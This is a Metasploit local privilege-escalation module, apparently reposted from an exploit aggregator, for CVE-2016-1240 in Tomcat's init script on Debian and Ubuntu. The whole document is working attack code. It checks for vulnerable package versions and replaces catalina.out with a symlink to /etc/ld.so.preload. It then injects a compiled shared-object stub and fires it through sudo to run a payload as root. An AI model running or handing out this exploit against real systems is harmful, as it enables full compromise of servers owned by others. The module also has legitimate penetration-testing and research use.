Share
## https://sploitus.com/exploit?id=PACKETSTORM:170857
###  
#  
# This exploit sample shows how an exploit module could be written to exploit  
# a bug in a command on a linux computer for priv esc.  
#  
###  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ManualRanking  
  
include Msf::Exploit::Retry  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Post::Linux::Compile  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache Tomcat on Ubuntu Log Init Privilege Escalation',  
'Description' => %q{  
Tomcat (6, 7, 8) packages provided by default repositories on Debian-based  
distributions (including Debian, Ubuntu etc.) provide a vulnerable  
tomcat init script that allows local attackers who have already gained access  
to the tomcat account (for example, by exploiting an RCE vulnerability  
in a java web application hosted on Tomcat, uploading a webshell etc.) to  
escalate their privileges from tomcat user to root and fully compromise the  
target system.  
  
Tested against Tomcat 8.0.32-1ubuntu1.1 on Ubuntu 16.04  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Dawid Golunski <dawid@legalhackers.com>' # original PoC, analysis, discovery  
],  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_PYTHON ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [[ 'Auto', {} ]],  
'Privileged' => true,  
'DefaultOptions' => {  
'PrependFork' => true,  
'WfsDelay' => 1800 # 30min  
},  
'References' => [  
[ 'EDB', '40450' ],  
[ 'URL', 'https://ubuntu.com/security/notices/USN-3081-1'],  
[ 'URL', 'http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html'],  
[ 'CVE', '2016-1240']  
],  
'DisclosureDate' => '2016-09-30',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]  
}  
)  
)  
register_options [  
OptString.new('CATALINA', [ true, 'Location of catalina.out file', '/var/log/tomcat8/catalina.out' ])  
]  
register_advanced_options [  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),  
]  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def preload  
'/etc/ld.so.preload'  
end  
  
def catalina  
datastore['CATALINA']  
end  
  
def check  
package = cmd_exec('dpkg -l tomcat[6-8] | grep \'^i\'')  
if package.nil? || package.empty?  
return CheckCode::Safe('Unable to execute command to determine installed pacakges')  
end  
  
package = package.gsub('\s+', ' ') # replace whitespace with space so we can split easy  
package = package.split(' ')  
# 0 is ii for installed  
# 1 is tomcat# for package name  
# 2 is version number  
package = Rex::Version.new(package[2])  
  
if (package.to_s.start_with?('8') && package < Rex::Version.new('8.0.32-1ubuntu1.2')) ||  
(package.to_s.start_with?('7') && package < Rex::Version.new('7.0.52-1ubuntu0.7')) ||  
(package.to_s.start_with?('6') && package < Rex::Version.new('6.0.35-1ubuntu3.8'))  
return CheckCode::Appears("Vulnerable app version detected: #{package}")  
end  
  
CheckCode::Safe("Unexploitable tomcat packages found: #{package}")  
end  
  
def exploit  
# Check if we're already root  
if is_root? && !datastore['ForceExploit']  
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'  
end  
  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
unless file? catalina  
fail_with Failure::BadConfig, "#{catalina} not found or still symlinked"  
end  
  
if file? preload  
fail_with Failure::BadConfig, "#{preload} found, check file as it needs to be removed for exploitation"  
end  
  
vprint_status("Creating backup of #{catalina}")  
@catalina_content = read_file(catalina)  
path = store_loot(  
catalina,  
'text/plain',  
rhost,  
@catalina_content,  
'catalina.out'  
)  
print_good("Original #{catalina} backed up to #{path}")  
  
if live_compile?  
# upload our privesc stub  
so_stub = ".#{rand_text_alphanumeric(5..10)}.so"  
so_stub_path = "#{base_dir}/#{so_stub}"  
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"  
  
# Upload exploit stub  
vprint_status "Compiling exploit stub: #{so_stub_path}"  
upload_and_compile so_stub_path, strip_comments(exploit_data('CVE-2016-1240', 'privesc_preload.c').gsub('$BACKDOORPATH', payload_path)), '-Wall -fPIC -shared -ldl'  
else  
payload_path = '/tmp/.jMeY5vToQl'  
so_stub = '.ny9NyKEPJ.so'  
so_stub_path = "/tmp/#{so_stub}"  
  
write_file(so_stub_path, exploit_data('CVE-2016-1240', 'stub.so'))  
end  
register_file_for_cleanup(so_stub_path)  
  
# Upload payload executable  
vprint_status("Uploading Payload to #{payload_path}")  
upload_and_chmodx payload_path, generate_payload_exe  
register_file_for_cleanup(payload_path)  
  
# delete the log and symlink ld.so.preload  
vprint_status("Deleting #{catalina}")  
rm_f(catalina)  
vprint_status("Creating symlink from #{preload} to #{catalina}")  
cmd_exec("ln -s #{preload} #{catalina}")  
register_file_for_cleanup(catalina)  
  
# we now need tomcat to restart  
print_good("Waiting #{datastore['WfsDelay']} seconds on tomcat to re-open the logs aka a Tomcat service restart")  
succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) do  
file? preload  
end  
  
unless succeeded  
print_error("#{preload} not found, exploit aborted")  
return  
end  
register_file_for_cleanup(preload)  
  
# now that we can write to ld.so.preload, use a SUID binary to execute our stub  
print_status("injecting #{so_stub_path} into #{preload}")  
cmd_exec "echo #{so_stub_path} > #{preload}"  
print_status('Escalating payload privileges via SUID binary (sudo)')  
cmd_exec 'sudo --help 2>/dev/null >/dev/null'  
print_status('Executing payload')  
cmd_exec payload_path  
end  
  
def cleanup  
if @catalina_content.nil?  
cmd_exec("touch #{catalina}")  
else  
write_file(catalina, @catalina_content)  
end  
super  
end  
end